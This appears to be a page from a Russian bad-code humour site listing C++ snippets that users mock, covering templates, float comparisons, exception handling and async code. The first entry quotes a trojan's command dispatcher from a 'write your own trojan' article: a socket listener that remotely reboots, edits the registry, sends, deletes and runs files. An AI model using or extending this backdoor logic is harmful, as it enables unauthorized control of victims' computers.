1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #15551

    +13

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    void __fastcall TForm1::FormCreate(TObject *Sender)
    {
    // ServSckt - наш компонент TServerSocket
    ServSckt->Port = 4321;
    ServSckt->Active = true;
    }
     
    void __fastcall TForm1::ServScktClientRead(TObject *Sender,
          TCustomWinSocket *Socket)
    {
    RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
                                      // информации, которую передаем как параметр этой функции
    }
    //---------------------------------------------------------------------------
    // собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
    void TForm1::RecCommand (String received)
    {
    int cn;
    TTrojanUtilites Utilz;  // создаем объект наших утилит 
    Utilz.Sock=ServSckt;    // необходимо для отсылки ответа клиенту, так как сокет у нас
                    // находится на форме, а TTrojanUtilites не имеет никакого отношения
                    // к форме. Просто передаем указатель на TServerSocket
    String temp;
    temp=received;
    temp.Delete(2,temp.Length());   // получаем первый символ сообщения - номер команды
    cn = StrToInt(temp);       // преобразуем в число
    received.Delete(1,1);      // удаляем код команды - остаются одни параметры
    switch (cn) {         // в соответсвии с полученой командой 
                                    // запускаем соотвествующую утилиту 
    case 1 : Utilz.RestartMachine(); break;  // перезагрузка
    case 2 : Utilz.WriteRegistry(received); break;  // запись в реестр
    case 3 : Utilz.ReadRegistry(received); break;   // чтение реестра
    case 4 : Utilz.SendFile(received); break;       // чтение файла
    case 5 : Utilz.DeleteFile(received); break;     // удаление файла 
    case 6 : Utilz.ExecuteFile(received); break;    // запуск файла 
    case 7 : Utilz.OpenCloseCD; break;            // открытие/закрытие CD-ROM
    case 8 : Utilz.HideMouse(); break;            // прячем курсор мыши 
    case 9 : Utilz.SwapMouseButtons(); break;       // переключаем кнопки мыши 
    default:
    SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
                                               // информируем клиента об этом
    }
    }

    NAT, NAT... Да что вы пристали со своим NAT?!
    Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html

    gost, 21 Марта 2014

    Комментарии (16)
  3. C++ / Говнокод #14386

    +13

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    #include <iostream>
    using namespace std;
    
    // -- robot`s internal closed implementation --
    int  data1[] = { 0, 1, 2 }; char data2[] = { 42 };
    
    // -- robot`s API 
    const int *GetMechaData1() { return data1; }
    size_t GetMechaData1Size() { return 3; }
    const char *GetMechaData2(){ return data2; }
    size_t GetMechaData2Size() { return 1; }
    
    // -- pentagon`s internal closed implementation --
    //--------------------если T равно U, то результат будет D, а иначе - G------------//
    template<class T, class U, class D, class G> struct SelectIF     { typedef G type; };
    template<class T, class D, class G>  struct SelectIF<T, T, D, G> { typedef D type; };
    
    // -- pentagon`s API 
    enum { eMAXBUFER = 200 * sizeof(int) };
    template<class T, size_t N>void AcceptData(const T(&src)[N])
    {
        typedef typename SelectIF<T, char, int, T>::type Cast;
        enum { is_char = std::is_same<T,char>::value };
    
        cout << "received data:\n";
        const size_t num = (N<eMAXBUFER) ? N : eMAXBUFER;
    
        if (is_char)
            for (size_t n = 0; n < num; ++n)
                cout << "char code = " << (Cast)src[n] << " : char = '" << src[n] << "'\n";
        else
            for (size_t n = 0; n<num; ++n)
                cout << "item = " << src[n] << endl;
    }
    
    // client code
    template<class T, size_t N> struct Adapter
    {
        typedef Adapter<T, N + 1> Next;
        void Pass(const T* data, const size_t num)
        {
            if (N < num)
            {
                Next().Pass(data, num);
                return;
            }
    
            T(&arr)[N] = reinterpret_cast<  T(&)[N] > (mBuf);
            for (size_t n = 0; n< N; ++n) arr[n] = data[n];
            AcceptData(arr);
        }
    
        size_t mLen;
        T mBuf[eMAXBUFER];
    };
    
    template<class T> struct Adapter<T, eMAXBUFER>
    {
        void Pass(const T* data, const size_t)
        {
            for (size_t n = 0; n< eMAXBUFER; ++n)  mBuf[n] = data[n];
            AcceptData(mBuf);
        }
    
        size_t mLen;
        T mBuf[eMAXBUFER];
    };
    
    
    Adapter<int,  1> adapter1;
    Adapter<char, 1> adapter2;
    
    int main()
    {
        {
            const auto data = GetMechaData1();
            const auto num = GetMechaData1Size();
            adapter1.Pass(data, num);
        }
        {
            const auto data = GetMechaData2();
            const auto num = GetMechaData2Size();
            adapter2.Pass(data, num);
        }
    }

    Крестушки раскрестушились, а подраться не решились.
    Под катом ещё несколько вариантов.

    LispGovno, 19 Января 2014

    Комментарии (50)
  4. C++ / Говнокод #14261

    +13

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    if (axis[0] == vector[0] && axis[1] == vector[1] && axis[2] == vector[2])
       {
          this->anglex = 0.0f;
       }
       else if (vector[1] >= 0.0f)
       {
          this->anglex = 360.0f*(GLfloat)acos(VectorMathf::dotProductf(axis, vector))/(2.0f*PIf);
       }
       else
       {
          this->anglex = -360.0f*(GLfloat)acos(VectorMathf::dotProductf(axis, vector))/(2.0f*PIf);
       }

    Часть либы ES3D (http://sourceforge.net/projects/es3d/).
    Кто не понял в чем прикол - все переменные имеют тип float.

    Pythoner, 23 Декабря 2013

    Комментарии (11)
  5. C++ / Говнокод #14187

    +13

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    void Fetch_image::fetch(  ...
    						 , bool& image_repo_available)
    {
    	///...
    	if( smth)
    	{
    		/// ...
    		image_repo_available = false;/// 1
    		throw Exception( ...);/// 2
    	}
    	else
    	{
    		/// ...
    		image_repo_available = true;
    	}
    }
    
    bool Fetch_image::process(... ,bool& image_repo_available)
    {
    	/// ...
    	bool image_repo_available = false;
    	try
    	{
    		/// ...
    		fetch(..., image_repo_available);
    	}
    	catch(Exception const & ex)/// 3
    	{
    		log(...);
    		return false; /// 4
    	}
            catch (...)
            {
                    return false; /// 5
            }
    	/// ...
    }

    Параметры по ссылке
    ///1 устанавливаем значение
    ///2 бросаем исключение
    ///3 в catch ожидаем, что значение сохранится
    ///4 возврат из ф-ии
    И дальше по стеку еще 5 или 6 функций, которые принимают ссылку...


    Нахер так жить, котаны?

    blackhearted, 06 Декабря 2013

    Комментарии (8)
  6. C++ / Говнокод #14173

    +13

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    auto write =    [&buf](future<int> size) -> future<bool>    { 
      return streamW.write(size.get(), buf).then(
        [](future<int> op){
          return op.get() > 0; });    };   
    auto flse = [](future<int> op){
     return future::make_ready_future(false);};  auto copy = do_while(
        [&buf]() -> future<bool>    {
         return streamR.read(512, buf)    .then(
           [](future<int> op){ return (op.get() > 0) ? write : flse;});    });  
    
    ///////////////////////////////////////////////////////////////////////////
    
    int cnt = 0;   
    do  {  
    cnt = await streamR.read(512, buf);   
    if ( cnt == 0 ) break;   
    cnt = await streamW.write(cnt, buf);   
    } while (cnt > 0);

    Первое и второе угадайте что? Правильно, С++. В компиляторе студии и первое и второе будет. Первое уже даже есть. Ни первое ни второе не приняли в стандарт на сколько мне известно и надеюсь лобисты Майкрософт во главе с Саттером пойдут на ... подальше от крестов.

    www.open-std.org/jtc1/sc22/wg21/docs/papers/2013/n3722.pdf

    LispGovno, 03 Декабря 2013

    Комментарии (33)
  7. C++ / Говнокод #14156

    +13

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    typedef std::queue<Msg> Queue;    
        
    
    struct SharedQueue
    {
        private:
            Queue m_queue;
            boost::mutex m_mux;
            boost::condition_variable m_condvar;    
        private:
            struct is_empty
            {
                Queue& queue;
                is_empty( Queue& q):
                    queue(q)
                {
                }
    
                bool operator()() const
                {
                    return !queue.empty();
                }
            };
        public:
            void push(const Msg& msg)
            {
                boost::mutex::scoped_lock lock(m_mux);
                m_queue.push( msg);
                m_condvar.notify_one();
            }
    
            bool try_pop( Msg& msg, Kind kind)
            {
                boost::system_time const timeout=boost::get_system_time()+ boost::posix_time::milliseconds( 30000);
                boost::mutex::scoped_lock lock( m_mux);
                if ( m_condvar.timed_wait( lock, timeout, is_empty( m_queue)))
                {
                    if( !m_queue.empty() && m_queue.front().kind == kind)
                    {
                        msg = m_queue.front();
                        m_queue.pop();
                        return true;
                    }
                }
                return false;
            }
    };

    Это ж пипец, дорогие товарищи...

    blackhearted, 29 Ноября 2013

    Комментарии (37)
  8. C++ / Говнокод #14125

    +13

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    //Сегодня QuestionGovno.
    //Допустим есть код:
    #include <iostream>
    using namespace std;
    class T{};
    struct M{M(T){}};
    struct G{G(T){}};
    
    int f(M){return 0;}
    bool f(G){return 0;}
    
    int main() {
    	bool a(f(T()));
    	return 0;
    }

    Казалось бы должна быть неоднозначность при компиляции, так как компилятор не знает какую перегрузку f бы выбрать.
    И как бы так оно и есть:
    http://ideone.com/o21NDg
    Логично? Логично.
    Но стандарт считает по другому:
    http://en.cppreference.com/w/cpp/language/overload_resolution
    Смотрите пункт:
    Best viable function
    F1 is determined to be a better function than F2 if implicit conversions for all arguments of F1 are not worse than the implicit conversions for all arguments of F2, and
    ...
    2) or. if not that, (only in context of non-class initialization by conversion), the standard conversion sequence from the return type of F1 to the type being initialized is better than the standard conversion sequence from the return type of F2

    Как мне повторить поведение, которое указано в стандарте?

    LispGovno, 22 Ноября 2013

    Комментарии (10)
  9. C++ / Говнокод #14078

    +13

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    int offset;
    
    /* где-то ниже */
    
    if (offset <= NULL)
    {
    }

    Антиматерия существует...

    JeremyW, 07 Ноября 2013

    Комментарии (7)
  10. C++ / Говнокод #13942

    +13

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    if(ortho){
                if( abs(e->x() - line.p1().x() ) * 2 < abs( e->y() - line.p1().y() ) ){
                    y = e->y();
                    x = line.p1().x();
                }else if(abs(e->x() - line.p1().x() ) > 2 * abs( e->y() - line.p1().y() )){
                    x = e->x();
                    y = line.p1().y();
                }else if(abs(e->x() - line.p1().x() ) * 2 > abs( e->y() - line.p1().y() ) &&
                         abs(e->x() - line.p1().x() ) < abs( e->y() - line.p1().y() )){
                    if((e->x() < line.p1().x() && e->y() < line.p1().y()) || (e->x() > line.p1().x() && e->y() < line.p1().y())){
                        x = e->x();
                        y = line.p1().y() - abs(line.p1().x() - e->x());
                    }else if((e->x() > line.p1().x() && e->y() > line.p1().y()) || (e->x() < line.p1().x() && e->y() > line.p1().y())){
                        x = e->x();
                        y = line.p1().y() + abs(line.p1().x() - e->x());
                    }
                }else if(abs(e->x() - line.p1().x() ) < 2 * abs( e->y() - line.p1().y() ) &&
                         abs(e->x() - line.p1().x() ) > abs( e->y() - line.p1().y() )){
                    if((e->x() < line.p1().x() && e->y() < line.p1().y()) || (e->x() < line.p1().x() && e->y() > line.p1().y())){
                        y = e->y();
                        x = line.p1().x() - abs(line.p1().y() - e->y());
                    }else if((e->x() > line.p1().x() && e->y() > line.p1().y()) || (e->x() > line.p1().x() && e->y() < line.p1().y())){
                        y = e->y();
                        x = line.p1().x() + abs(line.p1().y() - e->y());
                    }
                }else{
                    x = e->x();
                    y = e->y();
                }

    Abbath, 14 Октября 2013

    Комментарии (34)
  11. C++ / Говнокод #13736

    +13

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    TAbstractMessageFrame * SwitchIfNeedReceivePackets = create_switch(
    		fnc_ext::bind(this,
    					  fnc_ext::compose2(std::greater<WORD>(),
    										fnc_ext::get_mem(&TThisClass::_totalDataLength),
    										fnc_ext::compose1(std::bind1st(std::minus<WORD>(), static_cast<WORD>(TByteBuffer::MaxCapacity)),
    														  fnc_ext::compose1(fnc_ext::get_mem_func_ref(&TThisClass::TByteBuffer::length),
    																			fnc_ext::get_mem(&TThisClass::_receivedBuffer))))),
    //										fnc_ext::get_mem_func(&TThisClass::FreeBufferSpace))),
    		DataByPackets, DataByLength, "Switch If Need Receive Packets" );

    Говногость, 04 Сентября 2013

    Комментарии (34)